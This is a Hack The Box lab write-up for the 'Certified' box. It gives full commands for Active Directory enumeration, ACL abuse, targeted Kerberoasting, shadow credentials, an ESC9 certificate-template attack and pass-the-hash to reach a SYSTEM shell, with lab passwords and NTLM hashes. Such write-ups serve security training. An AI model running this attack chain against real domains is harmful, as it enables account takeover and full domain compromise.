Certified Lab from HTB

Overview

This medium-difficulty box focused on exploiting weaknesses in misconfigured Active Directory Certificate Services (AD CS), combined with access control list (ACL) abuse to progress through the attack path.

1. Reconnaissance

UDP Port Scan

Nmap UDP scan against the target:

sudo nmap -sU --top-ports 100 -sV -T3 -Pn -n 10.129.231.186

Identified open UDP ports:

53/dns
88/kerberos
123/ntp

TCP Port Scan

Full TCP scan with default scripts and version detection:

sudo nmap -sV -sC -p- -T4 -Pn 10.129.231.186

Identified open TCP ports:

53   : dns
88   : kerberos
135  : msrpc
139  : netbios
389  : ldap
445  : smb
5985 : winrm

Domain Identification

The Fully Qualified Domain Name (FQDN) was identified as:

certified.htb

The domain was added to the local /etc/hosts file.

SMB Enumeration

Share Enumeration

Using valid credentials for judith.mader, SMB shares were enumerated:

nxc smb 10.129.231.186 -u judith.mader -p 'judith09' --shares

The following shares were readable:

• NETLOGON

• SYSVOL

• IPC$

User Enumeration

Enumerating domain users over SMB:

nxc smb 10.129.231.186 -u judith.mader -p 'judith09' --users

Discovered domain users:

management_svc
ca_operator
alexander.huges
harry.wilson
gregory.cameron
judith.mader

BloodHound Enumeration

Time Synchronization

To avoid Kerberos-related issues, the local system time was synchronized with the domain controller:

sudo ntpdate -u certified.htb

Privilege Analysis

BloodHound revealed the following privileges for judith.mader:

• Member of the Certificate Service DCOM Access group

• Has WriteOwner rights over the Management group

Certificate Enumeration (Judith)

Certificates were enumerated for judith.mader to identify potential AD CS misconfigurations:

certipy find -u 'judith.mader' -p 'judith09' -dc-ip 10.129.231.186 -target certified.htb -enabled -vulnerable -stdout

4. Exploitation

Taking Ownership of the Management Group

Since judith.mader has WriteOwner over the Management group, ownership was changed:

impacket-owneredit -action write -new-owner 'judith.mader' -target 'management' certified.htb/judith.mader:'judith09'

Granting GenericAll Permissions

After gaining ownership, GenericAll permissions were granted to judith.mader on the Management group:

bloodyAD --host 10.129.231.186 -d certified.htb -u judith.mader -p 'judith09' add genericAll 'Management' 'judith.mader'

Adding User to the Management Group

With sufficient permissions, judith.mader was added to the Management group:

bloodyAD --host 10.129.231.186 -d certified.htb -u 'judith.mader' -p 'judith09' add groupMember Management 'judith.mader'

Lateral Control Discovery

BloodHound was revisited, revealing that the Management group has GenericWrite over the user management_svc:

Kerberoasting Attempt

An attempt was made to Kerberoast management_svc using targetedKerberoast.py:

python3 targetedKerberoast.py -v -d 'certified.htb' -u 'judith.mader' -p 'judith09'

The extracted hash could not be cracked using Hashcat.

Shadow Credentials Attack

Instead, a Shadow Credentials attack was performed using Certipy:

certipy shadow auto -username judith.mader@certified.htb -password 'judith09' -account 'management_svc' -dc-ip 10.129.231.186

This yielded the NTLM hash for management_svc.

Credential Validation

The obtained hash was validated over SMB:

nxc smb 10.129.231.186 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584

WinRM Access

Successful WinRM authentication was confirmed:

nxc winrm 10.129.231.186 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584

Certificate Enumeration (management_svc)

Certificate vulnerabilities were checked for management_svc:

certipy find -u 'management_svc' -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.129.231.186 -target certified.htb -enabled -vulnerable -stdout

Interactive Shell

An interactive shell was obtained:

evil-winrm -i 10.129.231.186 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584

5. Privilege Escalation

BloodHound Analysis

BloodHound revealed that management_svc has GenericAll over the ca_operator account:

Password Reset (ca_operator)

Using BloodyAD, the password for ca_operator was changed:

bloodyAD --host 10.129.231.186 -d certified.htb -u management_svc -p :a091c1832bcdd4677c28b5a6a1295584 set password 'ca_operator' 'Password123!'

Certificate Enumeration (ca_operator)

Certificate enumeration revealed that ca_operator is vulnerable to ESC9:

certipy find -u 'ca_operator' -p 'Password123!' -dc-ip 10.129.231.186 -target certified.htb -enabled -vulnerable -stdout

Shadow Credentials (ca_operator)

The NTLM hash for ca_operator was obtained:

certipy shadow auto -u management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator

UPN Manipulation

The UPN for ca_operator was temporarily changed to administrator:

certipy account update -u management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn administrator

Administrator Certificate Request

An administrator certificate was requested:

certipy req -u ca_operator@certified.htb -hashes :2b576acbe6bcfda7294d6bd18041b8fe -ca certified-DC01-CA -template CertifiedAuthentication -target 10.129.231.186

UPN Restoration

The UPN was reverted back to its original value:

certipy account update -u management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator

Administrator NTLM Hash Extraction

Using the obtained certificate, the NTLM hash for the Administrator account was retrieved:

certipy auth -pfx administrator.pfx -dc-ip 10.129.231.186 -domain certified.htb

Domain Administrator Access

A SYSTEM shell was obtained using PsExec:

impacket-psexec administrator@certified.htb -hashes aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

6. Proof of Compromise

Root flag successfully obtained: